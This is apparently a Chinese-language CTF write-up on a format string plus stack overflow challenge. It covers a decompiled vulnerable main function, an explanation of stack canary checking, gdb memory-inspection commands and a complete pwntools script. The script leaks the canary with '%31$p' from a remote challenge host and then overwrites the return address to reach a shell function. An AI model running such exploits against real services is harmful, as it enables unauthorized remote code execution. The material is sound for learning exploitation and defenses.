pwn-格式化字符串
int __fastcall main(int argc, const char **argv, const char **envp)
{
char format[200]; // [rsp+0h] [rbp-D0h] BYREF
unsigned __int64 v5; // [rsp+C8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
gets(format);
printf(format);
gets(format);
printf(format);
return 0;
}
找canary的位置:
disass main
1.汇编解释
(1) mov rdx, QWORD PTR [rbp-0x8]
功能:从栈中加载一个8字节值到 rdx 寄存器。
[rbp-0x8] 是当前栈帧基址(rbp)向低地址偏移8字节的位置,通常存储局部变量或临时数据。
常见用途:可能是从栈中恢复一个之前保存的值(如函数返回地址、关键变量)。
(2) xor rdx, QWORD PTR fs:0x28
功能:将 rdx 的值与 fs:0x28 处的8字节值进行异或(XOR)操作。
fs:0x28 的特殊意义:
在Linux x86_64中,fs 段寄存器指向线程本地存储(TLS),偏移 0x28 存储 栈保护值(Stack Canary),用于检测栈溢出攻击。
此指令是 验证栈保护值是否被篡改 的关键步骤。
2. 安全机制:栈保护(Stack Canary)
工作原理
函数开始时:从 fs:0x28 加载随机值(Canary)到栈中(如 [rbp-0x8])。
函数返回前:
检查栈中的Canary是否与 fs:0x28 的原始值一致(通过异或比较)。
若结果非零(rdx != 0),说明栈被破坏(如缓冲区溢出),程序会触发 __stack_chk_fail 终止运行。
查看内存的方式
10进制
8字节16进制
1字节16进制
字符串
具体区别
(1) x/100x $rsp
输出示例:
0x7fffffffe000: 0x48 0x89 0xe5 0x48 0x83 0xec 0x20 ...
特点:
每字节以十六进制显示,适合查看机器码或未对齐的原始数据。
(2) x/100gx $rsp
输出示例:
0x7fffffffe000: 0x48e58948ec834820 0x00007ffff7ffe700 ...
特点:
每8字节(64位)为一个单元,适合快速扫描指针、函数地址或64位数值。
(3) x/100s $rsp
输出示例:
0x7fffffffe000: "HelloWorld\0"
0x7fffffffe00b: "/bin/sh\0"
特点:
自动识别以 \0 结尾的字符串,适用于分析栈中的命令行参数或环境变量。
(4) x/100xu $rsp
输出示例:
0x7fffffffe000: 72 137 229 72 131 236 32 ...
特点:
以无符号十进制显示字节值,便于直接与数值比较(如 char 型数组)。
注意栈平衡
脚本
from pwn import *
r = remote("1.95.36.136", 2078)
payload = b"%31$p"
shell=0x400805
ret=0x4005a1
r.sendline(payload)
canary=int(r.recv().decode(),16)
print("canary=",canary)
payload2 = b'a'*25*8+p64(canary)+b'a'*8+p64(ret)+p64(shell)
r.sendline(payload2)
r.interactive()